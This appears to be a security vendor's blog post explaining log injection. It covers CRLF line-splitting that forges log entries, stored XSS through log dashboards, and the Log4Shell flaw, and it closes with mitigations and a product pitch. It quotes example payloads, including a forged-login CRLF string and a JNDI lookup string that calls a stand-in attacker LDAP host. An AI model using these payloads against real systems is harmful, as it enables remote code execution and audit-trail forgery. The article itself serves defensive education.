Safeguard
Application Security

Log injection attacks and how to stop forging your own audit trail

One unsanitized turns a log line into two, and a critical Log4j flaw with a CVSS score of 10.0 turned a log message into remote code execution.

Safeguard Research Team
Research
5 min read

Every web application logs untrusted input somewhere — a failed login username, a User-Agent header, a search query — and most of them write it to disk with no more thought than a print() statement. That gap is exactly what OWASP catalogs as CRLF Injection and Log Injection, both filed under the broader A03:2021-Injection category in the OWASP Top 10. The mechanism is simple: an attacker embeds a carriage-return/line-feed sequence (\r\n, or URL-encoded as %0d%0a) inside a field the application logs verbatim, and that sequence splits one log line into two, forging a fake entry that never happened. The stakes stopped being theoretical on December 9, 2021, when Apache disclosed CVE-2021-44228 — Log4Shell — a CVSS 10.0 remote code execution flaw in Log4j 2 that had been privately reported by Chen Zhaojun of Alibaba Cloud's security team just two weeks earlier, on November 24. Logging a string as ordinary as a username let Log4j's JNDI lookup feature fetch and execute attacker-controlled code. This post breaks down how log injection actually works, why Log4Shell escalated it to critical severity, and what a defensible logging pipeline looks like.

What is CRLF injection, and how does it forge log entries?

CRLF injection exploits the fact that most log formats use \r\n (carriage return + line feed) as the record delimiter, and if an application writes attacker-controlled text into a log line without stripping those bytes, the attacker can inject their own delimiter. OWASP's CRLF Injection reference describes the classic case: a request parameter like a username is echoed straight into an access log line such as User login: <input>. If the attacker supplies alice%0d%0aUser login: admin — SUCCESS, the decoded payload breaks the single log entry into two, and the second line reads as a legitimate, successful admin login that never occurred. This matters most against log analysts and automated SIEM parsers that trust one line equals one event — a forged line can hide a real intrusion inside noise, frame another user for an attacker's action, or simply degrade the evidentiary value of logs during incident response, since a tampered log can no longer be trusted as an accurate record.

How does log injection go beyond just faking entries?

OWASP's separate Log Injection page broadens the threat past line-splitting: any unsanitized data written to a log can also inject content the log viewer interprets, not just the log format itself. If logs are rendered in a web-based dashboard without HTML-encoding, an attacker who gets a <script> payload into a log field can achieve stored cross-site scripting against whoever reviews that dashboard — the log viewer becomes the vulnerable rendering context. Similarly, structured log fields (JSON keys, syslog priority tags) can be manipulated if an attacker's raw string is concatenated into the field rather than escaped as a value. The common thread across both CRLF splitting and viewer-side injection is the same root cause: treating logging as an inert print statement rather than as writing untrusted data across a trust boundary into a format that something else — a parser, a SIEM rule, an HTML renderer — will later interpret.

Why did Log4Shell turn a logging call into remote code execution?

Log4Shell escalated log injection from "annoying" to "critical" because Log4j 2's message-lookup substitution feature actively interpreted certain strings inside logged messages, rather than treating them as inert text. If an application logged a value like a request header directly — for example log.info("Request from: " + userAgent) — and the attacker's User-Agent contained ${jndi:ldap://attacker.com/a}, Log4j would evaluate that as a JNDI lookup instruction, reach out to the attacker's LDAP server, and load and execute a remote class. Because so many Java applications and libraries pulled in Log4j 2 transitively for basic logging, the blast radius was enormous, and Apache followed the initial CVE-2021-44228 fix with two more advisories, CVE-2021-45046 and CVE-2021-45105, as the first patch proved incomplete. The lesson generalizes past Java: any logging framework that interprets format specifiers, lookups, or template syntax inside a logged string turns every unsanitized log call into an injection sink.

What does safe, structured logging actually look like?

Safe logging starts by neutralizing or stripping control characters — CR, LF, and other non-printable bytes — from any untrusted value before it reaches a log call, rather than trusting the caller to have already sanitized it. The stronger structural fix is moving from free-text string concatenation to structured logging, where each field is emitted as a distinct JSON or key-value pair rather than interpolated into a sentence; a parser reading {"event":"login","user":"<input>"} can't have its record boundaries redrawn by an embedded \r\n the way a plain-text line can. Logging frameworks should also have dynamic interpolation and lookup features disabled by default — Log4j's own remediation path did exactly this, first disabling message lookups by default and restricting JNDI to localhost in the 2.15.0 patch, then removing the message-lookup feature from logged messages entirely and disabling JNDI support by default in 2.16.0. Finally, any log data destined for an HTML-rendering dashboard needs HTML-encoding at render time, treating the log viewer as its own output context rather than assuming upstream sanitization already covered it.

How Safeguard Helps

Log4Shell is the clearest argument for why software composition analysis has to be part of a defense against log-injection-class risk, not just a code-review checklist item. A dependency pinned to a vulnerable Log4j 2 release is exploitable the moment any code path logs attacker-influenced input — and Safeguard's SCA scanning flags exactly that class of known-CVE dependency, including Log4Shell and its follow-on advisories, against your resolved manifest so a vulnerable version doesn't sit undetected in a build. Pairing that with reachability analysis on custom logging call sites — confirming which logger invocations actually receive untrusted, request-derived strings — turns "we log user input somewhere" into a prioritized list of the specific call sites that need input neutralization or a move to structured logging first.

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.